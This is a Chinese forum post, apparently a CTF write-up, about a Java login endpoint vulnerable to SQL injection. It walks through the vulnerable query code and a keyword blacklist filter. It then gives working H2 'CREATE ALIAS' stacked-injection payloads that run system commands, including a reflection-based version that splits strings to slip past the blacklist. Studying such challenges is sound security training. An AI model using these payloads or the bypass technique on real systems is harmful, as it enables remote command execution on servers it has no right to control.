马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
代码存在sql注入
- // 处理登录表单的POST请求
- @PostMapping({"/login"})
- public String handleLogin(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) throws SQLException {
- // 验证用户凭据
- if (this.userService.validateUser(username, password)) {
- session.setAttribute("username", username); // 将用户名存储在会话中
- return "redirect:/"; // 验证成功,重定向到首页
- } else {
- model.addAttribute("error", "Invalid username or password"); // 添加错误消息到模型
- return "login"; // 返回登录视图
- }
- }
复制代码- // 声明一个方法来验证用户的凭据
- public boolean validateUser(String username, String password) throws SQLException {
- // 使用格式化字符串构建SQL查询语句
- String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);
-
- // 检查生成的查询是否安全,防止SQL注入
- if (!SecurityUtils.check(query)) {
- return false; // 如果查询不安全,返回false
- } else {
- Throwable var8; // 声明一个Throwable变量,用于异常处理
- // 使用try-with-resources语句自动管理Statement资源
- try (Statement stmt = this.connection.createStatement()) {
- // 执行SQL查询
- stmt.executeQuery(query);
- // 获取结果集
- ResultSet resultSet = stmt.getResultSet();
- Throwable var7 = null; // 声明一个Throwable变量,用于捕获异常
- try {
- // 检查结果集是否有下一条记录(即用户是否存在)
- var8 = resultSet.next();
- } catch (Throwable var31) {
- var8 = var31; // 捕获异常
- var7 = var31; // 将异常赋值给var7以便后续处理
- throw var31; // 重新抛出异常
- } finally {
- // 确保结果集在使用完后被关闭
- if (resultSet != null) {
- if (var7 != null) { // 如果有异常,处理异常
- try {
- resultSet.close(); // 关闭结果集
- } catch (Throwable var30) {
- var7.addSuppressed(var30); // 将异常添加到已捕获的异常中
- }
- } else {
- resultSet.close(); // 正常关闭结果集
- }
- }
- }
- }
- }
- }
复制代码 SELECT * FROM users WHERE username = '%s' AND password = '%s'
- // 定义一个名为SecurityUtils的公共类
- public class SecurityUtils {
- // 使用HashSet存储不安全的SQL关键字,避免SQL注入攻击
- private static final HashSet<String> blackLists = new HashSet<>();
- // 默认构造函数
- public SecurityUtils() {
- }
- // 检查给定的SQL语句是否包含黑名单中的关键字
- public static boolean check(String sql) {
- // 遍历黑名单中的每一个关键字
- for (String keyword : blackLists) {
- // 将SQL语句转换为小写并检查是否包含黑名单关键字
- if (sql.toLowerCase().contains(keyword)) {
- return false; // 如果发现关键字,返回false,表示SQL不安全
- }
- }
- // 如果没有发现黑名单关键字,返回true,表示SQL是安全的
- return true;
- }
- }
复制代码- static {
- blackLists.add("runtime");
- blackLists.add("process");
- blackLists.add("exec");
- blackLists.add("shell");
- blackLists.add("file");
- blackLists.add("script");
- blackLists.add("groovy");
- }
复制代码 使用堆叠注入rec,其标准使用情势如下
- CREATE ALIAS EXEC AS '
- String shellexec(String cmd) throws java.io.IOException {
- Runtime.getRuntime().exec(cmd);
- return "su18";
- }';
- CALL EXEC('command');
复制代码 按如下方式绕过waf
1.将被过滤的字符串拆分
2.Class<?> 声明通用范例的 Class 对象,使用Class.forName动态加载类赋值
3.由于过滤了runtime,使用getMethod将Runtime.getRuntime方法反射后调用,如允许以不使用Runtime.getRuntime().exec(cmd)
- CREATE ALIAS evil AS $$
- void jerry(String cmd) throws Exception {
- String R = "R" + "untime";
- Class<?> c = Class.forName("java.lang." + R);
- Object rt = c.getMethod("get" + R).invoke(null);//实例化
- c.getMethod("exe" + "c", String.class).invoke(rt, cmd);//rt.exec(cmd)
- }
- $$;
- CALL evil('command');
复制代码
- $$...$$ 是一种用于界说 字符串常量 或 函数体 的 定界符(delimiter)。它允许你在字符串或函数体中包罗引号、换行符和其他特殊字符,而无需对这些字符举行转义。
- invoke 方法用于调用获取到的方法。它的第一个参数是方法的调用者对象,第二个及以后的参数是方法的参数。
参考
2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog
JDBC-Attack 使用汇总 - Boogiepop Doesn’t Laugh
|